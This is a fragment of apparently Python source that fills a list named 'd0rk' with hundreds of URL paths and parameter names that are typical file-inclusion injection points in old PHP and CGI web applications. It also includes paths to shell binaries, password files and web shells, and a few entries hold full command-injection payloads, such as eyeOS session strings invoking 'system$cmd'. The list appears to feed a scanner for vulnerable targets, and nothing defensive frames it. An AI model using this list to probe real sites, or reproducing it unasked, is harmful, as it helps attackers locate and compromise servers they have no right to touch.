'/allindex2.php?r', '/allindex2.php?rootPATH', '/allindex2.php?s', '/allindex2.php?server', '/allindex2.php?sub', '/allindex2.php?sub2', '/allindex2.php?t', '/allindex2.php?theme', '/allindex2.php?u', '/allindex2.php?v', '/allindex2.php?x', '/allindex2.php?y', '/allindex2.php?z', '/allindex2php?aa', '/allindex3php?aa', '/allindex5.php?', '/allindex5.php?cat', '/allindex5.php?configFile', '/allindex5.php?cont', '/allindex5.php?content', '/allindex5.php?do', '/allindex5.php?inc', '/allindex5.php?include', '/allindex5.php?lang', '/allindex5.php?lv1', '/allindex5.php?m', '/allindex5.php?main', '/allindex5.php?open', '/allindex5.php?p', '/allindex5.php?pag', '/allindex5.php?page', '/allindex5.php?pagina', '/allindex5.php?pg', '/allindex5.php?root', '/allindex5.php?site', '/allindex5.php?visualizar', '/allindex5.php?x', '/allindextable.php?rootdir', '/allinit.inc.php?CPGMDIR', '/allinit.php?HTTPPOSTVARS', '/allinitdb.php?absolutepath', '/alllib.inc.php?pmpath', '/alllib.php?root', '/allmain.php?page', '/allmain.php?x', '/allmainfile.php?MAINPATH', '/allmodmainmenu.php?mosConfigabsolutepath', '/allmoduledb.php?pivotpath', '/allmylinks/include/footer.inc.php?AMLconfig[cfgserverpath]', '/allmylinks/include/info.inc.php?AMVconfig[cfgserverpath]', '/allnewvisitor.inc.php?lvcincludedir', '/allphpshop/index.php?basedir', '/allpipe.php?HCLpath', '/allsecureimgrender.php?p', '/allstartlobby.php?CONFIG[MWCHATLibs]', '/allstepone.php?serverinc', '/allsteponetables.php?serverinc', '/alltemplate.php?pagina', '/alltheme.php?THEMEDIR', '/allupgradealbum.php?GALLERYBASEDIR', '/allview.php?rootdir', '/allviewgantt.php?rootdir', '/allvwfiles.php?rootdir', '/allwrite.php?dir', '/amember/plugins/payment/linkpoint/linkpoint.inc.php?config[rootdir]', '/announcements.php?phpraiddir', '/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUTPATH', '/app/editor/login.cgi?user&commandsimple&doedit&password&file', '/application.php?basepath', '/apps/apps.php?app', '/appserv/main.php?appservroot', '/archive.php?CONFIG[scriptpath]', '/arg.php?arg', '/args.php?arg', '/arquivo.php?data', '/article.php?sid', '/articles.cgi?a34&t', '/ashheadlines.php?pathtoashnews', '/ashnews.php?pathtoashnews', '/atom.php5?page', '/auktion.pl?menue', '/auto.php?inc', '/auto.php?page', '/avatar.php?page', '/axs/axadmin.pls?ri?t', '/axs/axadmin.plscript', '/b2tools/gm2b2.php?b2inc', '/base.php?', '/base.php?[]', '/base.php?abre', '/base.php?adresa', '/base.php?basedir', '/base.php?basepath', '/base.php?category', '/base.php?chapter', '/base.php?choix', '/base.php?cont', '/base.php?disp', '/base.php?doshow', '/base.php?ev', '/base.php?eval', '/base.php?f1', '/base.php?filepath', '/base.php?home', '/base.php?id', '/base.php?incl', '/base.php?include', '/base.php?ir', '/base.php?itemnav', '/base.php?k', '/base.php?ki', '/base.php?l', '/base.php?lang', '/base.php?link', '/base.php?loc', '/base.php?mid', '/base.php?middle', '/base.php?middlePart', '/base.php?module', '/base.php?numero', '/base.php?o', '/base.php?oldal', '/base.php?opcion', ]
+d0rk += [ '/base.php?p', '/base.php?pa', '/base.php?pag', '/base.php?page', '/base.php?panel', '/base.php?path', '/base.php?phpbbrootpath', '/base.php?play', '/base.php?rub', '/base.php?seccion', '/base.php?second', '/base.php?seite', '/base.php?sekce', '/base.php?sivu', '/base.php?str', '/base.php?subject', '/base.php?t', '/base.php?to', '/base.php?v', '/base.php?var', '/base.php?w', '/bblib/checkdb.inc.php?libpach', '/bbusagestats/include/bbusagestats.php?phpbbrootpath', '/beacon//1/splash.lang.php?Path', '/becommunity/community/index.php?pageurl', '/big.php?pathtotemplate', '/biznews.cgi?a33&t', '/blank.php?', '/blank.php?OpenPage', '/blank.php?abre', '/blank.php?action', '/blank.php?basedir', '/blank.php?basepath', '/blank.php?category', '/blank.php?channel', '/blank.php?corpo', '/blank.php?destino', '/blank.php?dir', '/blank.php?filepath', '/blank.php?get', '/blank.php?goFile', '/blank.php?goto', '/blank.php?h', '/blank.php?header', '/blank.php?id', '/blank.php?in', '/blank.php?incl', '/blank.php?ir', '/blank.php?itemnav', '/blank.php?j', '/blank.php?ki', '/blank.php?lang', '/blank.php?left', '/blank.php?link', '/blank.php?loader', '/blank.php?menu', '/blank.php?mod', '/blank.php?o', '/blank.php?oldal', '/blank.php?open', '/blank.php?p', '/blank.php?pa', '/blank.php?page', '/blank.php?pagina', '/blank.php?panel', '/blank.php?path', '/blank.php?phpbbrootpath', '/blank.php?poll', '/blank.php?pr', '/blank.php?pre', '/blank.php?pref', '/blank.php?qry', '/blank.php?read', '/blank.php?ref', '/blank.php?rub', '/blank.php?section', '/blank.php?sivu', '/blank.php?sp', '/blank.php?strona', '/blank.php?subject', '/blank.php?t', '/blank.php?url', '/blank.php?var', '/blank.php?where', '/blank.php?xlink', '/blank.php?z', '/board.php?see', '/book.php5?page', '/bz/squito/photolist.inc.php?photoroot', '/calendar.php?l', '/calendar.php?lcalendar.php?l', '/calendar.php?p', '/calendar.php?pcalendar.php?p', '/calendar.php?pg', '/calendar.php?pgcalendar.php?pg', '/calendar.php?s', '/calendar.php?scalendar.php?s', '/calendar.pl?commandlogin&fromTemplate', '/canal.php?meio', '/catalog.nsfcatalog', '/ccbill/whereami.cgi?gls', '/cgibin/1/cmd.cgi', '/cgibin/Cgitest.exe', '/cgibin/Count.cgi', '/cgibin/FormHandler.cgi', '/cgibin/GW5', '/cgibin/GWWEB.EXE', '/cgibin/LWGate.cgi', '/cgibin/MachineInfo', '/cgibin/acart/acart.pl?&page', '/cgibin/awstats.pl?update1&logfile', '/cgibin/awstats/awstats.pl?configdir', '/cgibin/axs.cgi', '/cgibin/bash', '/cgibin/bbhist.sh', '/cgibin/bbs/read.cgi?file', '/cgibin/bigconf.cgi', '/cgibin/bnbform', '/cgibin/bnbform.cgi', '/cgibin/bp/bplib.pl?g', '/cgibin/cachemgr.cgi', '/cgibin/calendar', '/cgibin/campas', '/cgibin/carbo.dll', '/cgibin/cgimail.exe', '/cgibin/cgiwrap', '/cgibin/classified.cgi', '/cgibin/classifieds', '/cgibin/classifieds.cgi', '/cgibin/csh', '/cgibin/date', '/cgibin/day5datacopier.cgi', '/cgibin/day5notifier', '/cgibin/dbmlparser.exe', '/cgibin/download.cgi', '/cgibin/dumpenv.pl', '/cgibin/edit.pl', '/cgibin/environ.cgi', '/cgibin/excite', '/cgibin/faxsurvey', '/cgibin/filemail', '/cgibin/filemail.pl', '/cgibin/files.pl', '/cgibin/finger', '/cgibin/finger.cgi', '/cgibin/finger.pl', '/cgibin/finger?Enteraccount|host|user|username', '/cgibin/finger?Inreallife', '/cgibin/flexform', '/cgibin/flexform.cgi', '/cgibin/formmail.pl', '/cgibin/fortune', '/cgibin/fpexplorer.exe', '/cgibin/get32.exe|dir', '/cgibin/glimpse', '/cgibin/guestbook.cgi', '/cgibin/guestbook.pl', '/cgibin/handler', '/cgibin/handler.cgi', '/cgibin/hinsts.pl?', '/cgibin/htmlscript', '/cgibin/ikonboard.cgi', '/cgibin/index.cgi?page', '/cgibin/info2www', '/cgibin/input.bat', '/cgibin/input2.bat', '/cgibin/jammail.pl?jobshowoldmail&mail', '/cgibin/jj', '/cgibin/ksh', '/cgibin/lwgate', '/cgibin/mail', '/cgibin/maillist.pl', '/cgibin/man.sh', '/cgibin/mlog.phtml', '/cgibin/mylog.phtml', '/cgibin/nlogsmb.pl', '/cgibin/npherror.pl', '/cgibin/nphpublish', '/cgibin/nphtestcgi', '/cgibin/pass.txt', '/cgibin/passwd', '/cgibin/passwd.txt', '/cgibin/password', '/cgibin/password.txt', '/cgibin/perl', '/cgibin/perl.exe', '/cgibin/perlshop.cgi', '/cgibin/pfdispaly.cgi', '/cgibin/phf', '/cgibin/phf.pp', '/cgibin/php', '/cgibin/php.cgi', '/cgibin/phpscan', '/cgibin/postquery', '/cgibin/ppdscgi.exe', '/cgibin/probe.cgi?olddat', '/cgibin/query', '/cgibin/quikstore.cgi?category', '/cgibin/redirect', '/cgibin/responder.cgi', '/cgibin/rguest.exe', '/cgibin/rksh', '/cgibin/rsh', '/cgibin/rwwwshell.pl', '/cgibin/sam.', '/cgibin/search.cgi', '/cgibin/search97.vts', '/cgibin/sendform.cgi', '/cgibin/sh', '/cgibin/snorkerz.bat', '/cgibin/snorkerz.cmd', '/cgibin/sqwebmail?noframes1', '/cgibin/status.cgi', '/cgibin/survey', '/cgibin/survey.cgi', '/cgibin/tcsh', '/cgibin/telnet.cgi', '/cgibin/test.bat', '/cgibin/testcgi', '/cgibin/testcgi.tcl', '/cgibin/testenv', '/cgibin/textcounter.pl', '/cgibin/tst.bat', '/cgibin/tst.bat|dir', '/cgibin/ubb/ubb.cgi?g', '/cgibin/unlg1.1', '/cgibin/upload.pl', '/cgibin/uptime', '/cgibin/viewsource', '/cgibin/visadmin.exe', '/cgibin/visitor.exe', '/cgibin/w3msql', '/cgibin/w3sql', '/cgibin/w3tvars.pm', '/cgibin/wais.pl', ]
+d0rk += [ '/cgibin/webdist.cgi', '/cgibin/webgais', '/cgibin/webmap.cgi', '/cgibin/websendmail', '/cgibin/wguest.exe', '/cgibin/whoisraw.cgi', '/cgibin/wrap', '/cgibin/wwwadmin.pl', '/cgibin/wwwboard.pl', '/cgibin/wwwsql', '/cgibin/zsh', '/cgidos/args.bat', '/cgidos/args.cmd', '/cgishl/wincsample.exe', '/cgisys/guestbook.cgi?usercpanel&template', '/cgiwin/uploader.exe', '/chat/inc/cmses/aedating4CMS.php?dir[inc]', '/claroline/inc/claroinitheader.inc.php?includePath', '/class.mysql.php?pathtobtdir', '/classes.php?LOCALPATH', '/classes/adodbt/sql.php?classesdir', '/classes/adodbt/sql.php?classesdir/classes/adodbt/sql.php?classesdir', '/classes/adodbt/sql.php?classesdiradobt', '/classes/adodbt/sql.php?classesdirindex2.php?optionrss', '/classes/core/.php?rootdir', '/classifiedright.php?dir', '/classifiedright.php?languagedir', '/classifiedright.php?languagedirclassified.php', '/classifiedright.php?languagedirclassified.phpphpbazar', '/classifiedright.php?languagedirphpbazar', '/cmd.php?arg', '/codebb/langselect?phpbbrootpath', '/codebb/langselect?phpbbrootpathcodebb', '/codebb/langselect?phpbbrootpathcodebb1.1b3', '/coinincludes/constants.php?CCFG[PKGPATHINCL]', '/coinincludes/constants.php?CCFG[PKGPATHINCL]phpCOIN', '/coinincludes/constants.php?CCFG[PKGPATHINCL]phpCOIN1.2.3', '/coinincludes/constants.php?CCFG[PKGPATHINCL]poweredbyphpCOIN1.2.3', '/common.php?includepath', '/common/func.php?CommonAbsDir', '/components/comartlinks/artlinks.dispnew.php?mosConfigabsolutepath', '/components/comcolorlab/admin.color.php?mosConfiglivesite', '/components/comcpg/cpg.php?mosConfigabsolutepath', '/components/comcpg/cpg.php?mosConfigabsolutepathcomcpg', '/components/comextcalendar/adminevents.php?CONFIGEXT[LANGUAGESDIR]comextcalendar', '/components/comextcalendar/adminevents.php?CONFIGEXT[SDIR]', '/components/comextendedregistration/registrationdetailed.inc.php?mosConfigabsolutepath', '/components/comextendedregistration/registrationdetailed.inc.php?mosConfigabsolutepathcomextendedregistration', '/components/comfacileforms/facileforms.frame.php?ffcompath', '/components/comfacileforms/facileforms.frame.php?ffcompathcomfacileforms', '/components/comforum/download.php?phpbbrootpath', '/components/comforum/download.php?phpbbrootpathcomforum', '/components/comgalleria/galleria.html.php?mosConfigabsolutepath', '/components/commp3allopass/allopass.php?mosConfiglivesite', '/components/commp3allopass/allopasserror.php?mosConfiglivesite', '/components/commtree/Savant2/Savant2Pluginarea.php?mosConfigabsolutepath', '/components/commtree/Savant2/Savant2Pluginstylesheet.php?mosConfigabsolutepath', '/components/commtree/Savant2/Savant2Plugintextarea.php?mosConfigabsolutepath', '/components/comperforms/performs.php?mosConfigabsolutepath', '/components/comphpshop/toolbar.phpshop.html.php?mosConfigabsolutepath', '/components/comrsgallery/rsgallery.html.php?mosConfigabsolutepath', '/components/comrsgery/rsgery.html.php?mosConfigabsolutepath', '/components/comsimpleboard/imageupload.php?sbp', '/components/comsimpleboard/imageupload.php?sbpcomsimpleboard', '/components/comsmf/smf.php?mosConfigabsolutepath', '/components/comzoom/includes/database.php?mosConfigabsolutepath', '/components/comzoom/includes/database.php?mosConfigabsolutepathcomzoom', '/components/comzoom/includes/database.php?mosConfigabsolutepathindex.php?optioncomzoom', '/config.inc.php?path', '/config.inc.php?pathescape', '/config.php?fpath', '/config.php?pathtoroot', '/config.php?xcartdir', '/contacts.php?caldir', '/contenido.php?sec', '/contenido/classes/class.inuse.php', '/content.php?inc', '/content.php?page', '/content.php?seite', '/content/article.php?ide', '/content/modifygo.php?pwfile', '/contrib/mxglancesdesc.php?mxrootpath', '/contrib/yabbse/poc.php?pocrootpath', '/convert/mvcw.php?step1&vwarroot', '/convert/mvcw.php?vwarroot', '/convertdate.php?caldir', '/coollogs/mlog.html', '/coollogs/mylog.html', '/coppercop/theme.php?THEMEDIR', '/coppermine/themes/maze/theme.php?THEMEDIR', '/counter/index.phpPHPCounter7.', '/cpcommerce/functions.php?prefix', '/cricket/grapher.cgi', '/csvdb/csvdb.cgi?fil', '/customer/product.php?xcartdir', '/cyberfolio/portfolio/msg/view.php?av', '/danana/auth/welcome.html', '/data/compatible.php?module', '/database.nsf', '/database.php?mosConfigabsolutepath', '/db.php?pathlocal', '/db/main.mdb', '/dbase.php?action', '/dbmodules/DBadodb.class.php?PHPOFINCLUDEPATH', '/default.php?', '/default.php?abre', '/default.php?arquivo', '/default.php?basedir', '/default.php?basepath', '/default.php?channel', '/default.php?chapter', '/default.php?choix', '/default.php?cmd', '/default.php?cont', '/default.php?destino', '/default.php?e', '/default.php?eval', '/default.php?f', '/default.php?goto', '/default.php?header', '/default.php?id', '/default.php?inc', '/default.php?incl', '/default.php?include', '/default.php?index', '/default.php?ir', '/default.php?itemnav', '/default.php?k', '/default.php?ki', '/default.php?l', '/default.php?left', '/default.php?load', '/default.php?loader', '/default.php?loc', '/default.php?m', '/default.php?menu', '/default.php?menue', ]
+d0rk += [ '/default.php?mid', '/default.php?mod', '/default.php?module', '/default.php?n', '/default.php?nivel', '/default.php?oldal', '/default.php?opcion', '/default.php?option', '/default.php?p', '/default.php?pa', '/default.php?pag', '/default.php?page', '/default.php?pagehome', '/default.php?panel', '/default.php?param', '/default.php?play', '/default.php?pr', '/default.php?pre', '/default.php?read', '/default.php?ref', '/default.php?root', '/default.php?rub', '/default.php?secao', '/default.php?secc', '/default.php?seccion', '/default.php?seite', '/default.php?showpage', '/default.php?sivu', '/default.php?sp', '/default.php?str', '/default.php?strona', '/default.php?t', '/default.php?thispage', '/default.php?tipo', '/default.php?to', '/default.php?type', '/default.php?v', '/default.php?var', '/default.php?vis', '/default.php?x', '/default.php?y', '/define.php?term', '/demo/includes/init.php?userinc', '/deportes.cgi?alatest&t', '/dernierscommentaires.php?rep', '/detail.php?prod', '/details.php?loc', '/dfdcart/app.lib/product.control/core.php/customer.area/customer.browse.list.php?setdepth', '/dfdcart/app.lib/product.control/core.php/customer.area/customer.browse.search.php?setdepth', '/dfdcart/app.lib/product.control/core.php/product.control.config.php?setdepth', '/direct.php?loc', '/directions.php?loc', '/display.php?f', '/display.php?file', '/display.php?l', '/display.php?lang', '/display.php?ln', '/display.php?p', '/display.php?pag', '/display.php?page&lang', '/display.php?page', '/display.php?pg', '/display.php?s', '/display.php?table', '/domcfg.nsf', '/domlog.nsf', '/dotproject/modules/files/indextable.php?rootdir', '/dotproject/modules/projects/addedit.php?rootdir', '/dotproject/modules/projects/view.php?rootdir', '/dotproject/modules/projects/vwfiles.php?rootdir', '/dotproject/modules/tasks/addedit.php?rootdir', '/dotproject/modules/tasks/viewgantt.php?rootdir', '/down.php?OpenPage', '/down.php?action', '/down.php?addr', '/down.php?channel', '/down.php?choix', '/down.php?cmd', '/down.php?corpo', '/down.php?disp', '/down.php?doshow', '/down.php?ev', '/down.php?filepath', '/down.php?goFile', '/down.php?home', '/down.php?in', '/down.php?inc', '/down.php?incl', '/down.php?include', '/down.php?ir', '/down.php?lang', '/down.php?left', '/down.php?nivel', '/down.php?o', '/down.php?oldal', '/down.php?open', '/down.php?pa', '/down.php?pag', '/down.php?page', '/down.php?param', '/down.php?path', '/down.php?pg', '/down.php?phpbbrootpath', '/down.php?poll', '/down.php?pr', '/down.php?pre', '/down.php?qry', '/down.php?r', '/down.php?read', '/down.php?s', '/down.php?second', '/down.php?section', '/down.php?seite', '/down.php?showpage', '/down.php?sp', '/down.php?strona', '/down.php?subject', '/down.php?t', '/down.php?to', '/down.php?u', '/down.php?url', '/down.php?v', '/down.php?where', '/down.php?x', '/down.php?z', '/download.php?sub', '/drupal/?menu[callbacks][1][callback]', '/e107/e107handlers/secureimgrender.php?p', '/eblog/blog.inc.php?xoopsConfig[xoopsurl]', '/embed/day.php?path', '/embed/day.php?pathCalendar', '/embed/day.php?pathLogintoCalendar', '/embed/day.php?pathWebCalendar', '/emsgb/easymsgb.pl?print', '/enc/content.php?HomePath', '/encapscmsPATH/core/core.php?root', '/encore/forumcgi/display.cgi?preftemptemp&pageanonymous&file', '/eng.php?img', '/enter.php?', '/enter.php?a', '/enter.php?abre', '/enter.php?addr', '/enter.php?b', '/enter.php?basedir', '/enter.php?chapter', '/enter.php?cmd', '/enter.php?content', '/enter.php?e', '/enter.php?ev', '/enter.php?get', '/enter.php?go', '/enter.php?goto', '/enter.php?home', '/enter.php?id', '/enter.php?incl', '/enter.php?include', '/enter.php?index', '/enter.php?ir', '/enter.php?itemnav', '/enter.php?lang', '/enter.php?left', '/enter.php?link', '/enter.php?loader', '/enter.php?menue', '/enter.php?mid', '/enter.php?middle', '/enter.php?mod', '/enter.php?module', '/enter.php?numero', '/enter.php?o', '/enter.php?open', '/enter.php?p', '/enter.php?pa', '/enter.php?page', '/enter.php?pagina', '/enter.php?panel', '/enter.php?path', '/enter.php?pg', '/enter.php?phpbbrootpath', '/enter.php?play', '/enter.php?pr', '/enter.php?pref', '/enter.php?qry', '/enter.php?r', '/enter.php?read', '/enter.php?ref', '/enter.php?s', '/enter.php?sec', '/enter.php?second', '/enter.php?seite', '/enter.php?sivu', '/enter.php?sp', '/enter.php?start', '/enter.php?str', '/enter.php?strona', '/enter.php?subject', '/enter.php?thispage', '/enter.php?type', '/enter.php?viewpage', '/enter.php?w', '/enter.php?y', '/environment.php?DIRPREFIX', '/eprise/', '/es/index.php?action', '/escustommenu.php?filesdir', '/esdesp.php?filesdir', '/esoffer.php?filesdir', '/esupport/admin/autoclose.php?subd', '/events.cgi?a155&t', '/events.cgi?t', '/exibir.php?arquivo', '/exibir.php?arquivophp?arquivo', '/experts.php?sub', '/extensions/moblog/mobloglib.php?basedir', '/extras/extcats.php?dirpath', '/eyeos/desktop.php?baccioeyeOptions.eyeapp&aeyeOptions.eyeapp&SESSION%5busr%5droot&SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5dinclude$GET%5ba%5d;&a', ]
+d0rk += [ '/eyeos/desktop.php?baccioeyeOptions.eyeapp&aeyeOptions.eyeapp&SESSION%5busr%5droot&SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5dsystem$cmd;&cmdid', '/fid17013034EFB2509745A39CD861F4FEA3E716FBE5.aspx?s', '/file.php?', '/file.php?action', '/file.php?basepath', '/file.php?channel', '/file.php?chapter', '/file.php?choix', '/file.php?cmd', '/file.php?cont', '/file.php?corpo', '/file.php?disp', '/file.php?doshow', '/file.php?ev', '/file.php?eval', '/file.php?get', '/file.php?id', '/file.php?inc', '/file.php?incl', '/file.php?include', '/file.php?index', '/file.php?ir', '/file.php?ki', '/file.php?left', '/file.php?load', '/file.php?loader', '/file.php?middle', '/file.php?modo', '/file.php?n', '/file.php?nivel', '/file.php?numero', '/file.php?o', '/file.php?oldal', '/file.php?pagina', '/file.php?param', '/file.php?pg', '/file.php?play', '/file.php?poll', '/file.php?pref', '/file.php?q', '/file.php?qry', '/file.php?ref', '/file.php?seccion', '/file.php?second', '/file.php?showpage', '/file.php?sivu', '/file.php?sp', '/file.php?start', '/file.php?strona', '/file.php?to', '/file.php?type', '/file.php?url', '/file.php?var', '/file.php?viewpage', '/file.php?where', '/file.php?y', '/fileseek.cgi?head&foot', '/folder.php?id', '/forum.php?act', '/forum.php?seite', '/forum/admin/index.php?incconf', '/forum/forum.php?view', '/forum/inst.php?phpbbrootdir', '/forum/install.php?phpbbrootdir', '/frag.php?exec', '/frame.php?loc', '/functions.php?includepath', '/functions.php?prefix', '/galerie.php?do', '/gallery.php?', '/gallery.php?[]', '/gallery.php?abre', '/gallery.php?action', '/gallery.php?addr', '/gallery.php?basedir', '/gallery.php?basepath', '/gallery.php?chapter', '/gallery.php?cont', '/gallery.php?corpo', '/gallery.php?disp', '/gallery.php?ev', '/gallery.php?eval', '/gallery.php?filepath', '/gallery.php?get', '/gallery.php?go', '/gallery.php?h', '/gallery.php?id', '/gallery.php?index', '/gallery.php?itemnav', '/gallery.php?ki', '/gallery.php?left', '/gallery.php?loader', '/gallery.php?menu', '/gallery.php?menue', '/gallery.php?mid', '/gallery.php?mod', '/gallery.php?module', '/gallery.php?my', '/gallery.php?nivel', '/gallery.php?oldal', '/gallery.php?open', '/gallery.php?option', '/gallery.php?p', '/gallery.php?pag', '/gallery.php?page', '/gallery.php?panel', '/gallery.php?param', '/gallery.php?pg', '/gallery.php?phpbbrootpath', '/gallery.php?poll', '/gallery.php?pre', '/gallery.php?pref', '/gallery.php?qry', '/gallery.php?redirect', '/gallery.php?ref', '/gallery.php?rub', '/gallery.php?sec', '/gallery.php?secao', '/gallery.php?seccion', '/gallery.php?seite', '/gallery.php?showpage', '/gallery.php?sivu', '/gallery.php?sp', '/gallery.php?strona', '/gallery.php?thispage', '/gallery.php?tipo', '/gallery.php?to', '/gallery.php?url', '/gallery.php?var', '/gallery.php?viewpage', '/gallery.php?where', '/gallery.php?xlink', '/gallery.php?y', '/gallery/init.php?HTTPPOSTVARS', '/general.php?', '/general.php?abre', '/general.php?addr', '/general.php?adresa', '/general.php?b', '/general.php?basedir', '/general.php?channel', '/general.php?chapter', '/general.php?choix', '/general.php?cmd', '/general.php?content', '/general.php?doshow', '/general.php?e', '/general.php?f', '/general.php?get', '/general.php?goto', '/general.php?header', '/general.php?id', '/general.php?inc', '/general.php?include', '/general.php?ir', '/general.php?itemnav', '/general.php?left', '/general.php?link', '/general.php?menu', '/general.php?menue', '/general.php?mid', '/general.php?middle', '/general.php?modo', '/general.php?module', '/general.php?my', '/general.php?nivel', '/general.php?o', '/general.php?opcion', '/general.php?p', '/general.php?page', '/general.php?poll', '/general.php?pr', '/general.php?pre', '/general.php?qry', '/general.php?read', '/general.php?redirect', '/general.php?ref', '/general.php?rub', '/general.php?secao', '/general.php?seccion', '/general.php?second', '/general.php?section', '/general.php?seite', '/general.php?sekce', '/general.php?sivu', '/general.php?strona', '/general.php?subject', '/general.php?thispage', '/general.php?tipo', '/general.php?to', '/general.php?type', '/general.php?var', '/general.php?w', '/general.php?where', '/general.php?xlink', '/glossary.php?term', '/gnu/index.php?doc', '/gnu3/index.php?doc', '/hall.php?file', '/hall.php?page', '/handlinger.php?vis', '/hcl/inc/pipe.php?HCLpath', '/head.php?[]', '/head.php?abre', '/head.php?adresa', '/head.php?b', '/head.php?basedir', '/head.php?c', '/head.php?choix', '/head.php?cmd', '/head.php?content', '/head.php?corpo', '/head.php?d', '/head.php?dir', '/head.php?disp', '/head.php?ev', '/head.php?filepath', '/head.php?g', '/head.php?goto', '/head.php?inc', '/head.php?incl', '/head.php?include', '/head.php?index', '/head.php?ir', '/head.php?ki', '/head.php?lang', '/head.php?left', '/head.php?load', '/head.php?loader', '/head.php?loc', '/head.php?middle', '/head.php?middlePart', '/head.php?mod', '/head.php?modo', '/head.php?module', '/head.php?numero', '/head.php?oldal', '/head.php?opcion', '/head.php?p', '/head.php?pag', '/head.php?page', '/head.php?play', ]
+d0rk += [ '/head.php?poll', '/head.php?read', '/head.php?ref', '/head.php?rub', '/head.php?sec', '/head.php?sekce', '/head.php?sivu', '/head.php?start', '/head.php?str', '/head.php?strona', '/head.php?tipo', '/head.php?viewpage', '/head.php?where', '/head.php?y', '/header.php?abspath', '/header.php?abspathMobilePublisherPHP', '/help.php?csspath', '/help/faq/inc/pipe.php?HCLpath', '/helpcenter/inc/pipe.php?HCLpath', '/helptextvars.php?cmddir&PGVBASEDIRECTORYPHPGedView', '/helptextvars.php?cmddir&PGVBASEDIRECTORYPHPGedView<3.3.7', '/helptextvars.php?dir&PGVBASEDIRECTORY', '/helpvars.php?cmddir&PGVBASEDIRECTORY', '/historytemplate.php?cms[support]1&cms[tngpath]', '/home.php?', '/home.php?a', '/home.php?act', '/home.php?action', '/home.php?addr', '/home.php?arg', '/home.php?basedir', '/home.php?basepath', '/home.php?category', '/home.php?channel', '/home.php?chapter', '/home.php?choix', '/home.php?cmd', '/home.php?content', '/home.php?disp', '/home.php?doshow', '/home.php?e', '/home.php?ev', '/home.php?eval', '/home.php?func', '/home.php?g', '/home.php?h', '/home.php?i', '/home.php?in', '/home.php?inc', '/home.php?include', '/home.php?index', '/home.php?ir', '/home.php?itemnav', '/home.php?k', '/home.php?link', '/home.php?ln', '/home.php?loader', '/home.php?loc', '/home.php?ltr', '/home.php?menu', '/home.php?middle', '/home.php?middlePart', '/home.php?module', '/home.php?my', '/home.php?oldal', '/home.php?opcion', '/home.php?pa', '/home.php?pag', '/home.php?page', '/home.php?pagina', '/home.php?panel', '/home.php?path', '/home.php?play', '/home.php?poll', '/home.php?pr', '/home.php?pre', '/home.php?qry', '/home.php?read', '/home.php?recipe', '/home.php?redirect', '/home.php?ref', '/home.php?rub', '/home.php?sec', '/home.php?secao', '/home.php?section', '/home.php?seite', '/home.php?sekce', '/home.php?showpage', '/home.php?sit', '/home.php?sp', '/home.php?str', '/home.php?table', '/home.php?thispage', '/home.php?tipo', '/home.php?w', '/home.php?where', '/home.php?x', '/home.php?z', '/home1.php?ln', '/home2.php?ln', '/homepage.php?sel', '/hosts.dat', '/html&highlight%2527.include$GET[a]exit.%2527&a', '/html/affich.php?base', '/html/page.php?page', '/htmltonuke.php?filnavn', '/ideabox/include.php?gorumDir', '/ihm.php?p', '/iisadmpwd/achg.htr', '/iisadmpwd/aexp.htr', '/iisadmpwd/aexp2.htr', '/iisadmpwd/aexp2b.htr', '/iisadmpwd/aexp3.htr', '/iisadmpwd/aexp4.htr', '/iisadmpwd/aexp4b.htr', '/iisadmpwd/anot.htr', '/iisadmpwd/anot3.htr', '/iissamples/exair/howitworks/codebrws.asp', '/iissamples/sdk/asp/docs/codebrws.asp', '/image.php?img', '/images/evil.php?owned', '/imall/imall.cgi?p', '/img.php?loc', '/impex/ImpExData.php?systempath', '/inc.php?', '/inc.php?addr', '/inc.php?adresa', '/inc.php?basedir', '/inc.php?c', '/inc.php?category', '/inc.php?doshow', '/inc.php?ev', '/inc.php?get', '/inc.php?i', '/inc.php?inc', '/inc.php?incl', '/inc.php?include', '/inc.php?j', '/inc.php?k', '/inc.php?ki', '/inc.php?left', '/inc.php?link', '/inc.php?m', '/inc.php?menu', '/inc.php?modo', '/inc.php?open', '/inc.php?pg', '/inc.php?rub', '/inc.php?showpage', '/inc.php?sivu', '/inc.php?start', '/inc.php?str', '/inc.php?to', '/inc.php?type', '/inc.php?y', '/inc/authform.inc.php?pathpre', '/inc/cmses/aedating4CMS.php?dir[inc]', '/inc/cmses/aedatingCMS.php?dir[inc]', '/inc/functions.inc.php?config[pparootpath]', '/inc/header.php/stepone.php?serverinc', '/inc/irayofuncs.php?irayodirhack', '/inc/irayofuncs.php?irayodirhack/inc/', '/inc/pipe.php?HCLpath', '/inc/session.php?sessionerror0&lang', '/inc/shows.inc.php?cutepath', '/inc/steponetables.php?serverinc', '/include.php?', '/include.php?[]', '/include.php?adresa', '/include.php?b', '/include.php?basepath', '/include.php?channel', '/include.php?chapter', '/include.php?cmd', '/include.php?cont', '/include.php?content', '/include.php?corpo', '/include.php?destino', '/include.php?dir', '/include.php?eval', '/include.php?filepath', '/include.php?go', '/include.php?goFile', '/include.php?goto', '/include.php?header', '/include.php?in', '/include.php?include', '/include.php?index', '/include.php?ir', '/include.php?ki', '/include.php?left', '/include.php?loader', '/include.php?loc', '/include.php?mid', '/include.php?middle', '/include.php?middlePart', '/include.php?module', '/include.php?my', '/include.php?nivel', '/include.php?numero', '/include.php?oldal', '/include.php?option', '/include.php?pag', '/include.php?page', '/include.php?panel', '/include.php?path', '/include.php?path[docroot]', '/include.php?phpbbrootpath', '/include.php?play', '/include.php?read', '/include.php?redirect', '/include.php?ref', '/include.php?sec', '/include.php?secao', '/include.php?seccion', '/include.php?second', '/include.php?sivu', '/include.php?tipo', '/include.php?to', '/include.php?u', '/include.php?url', '/include.php?w', '/include.php?x', '/include/authform.inc.php?pathpre', '/include/editfunc.inc.php?NWCONFSYSTEM[serverpath]', '/include/footer.inc.php?AMLconfig[cfgserverpath]', '/include/init.inc.php?CPGMDIR', '/include/livreinclude.php?noconnectlol&chemabsolu', '/include/main.php?config[searchdisp]true&includedir', ]
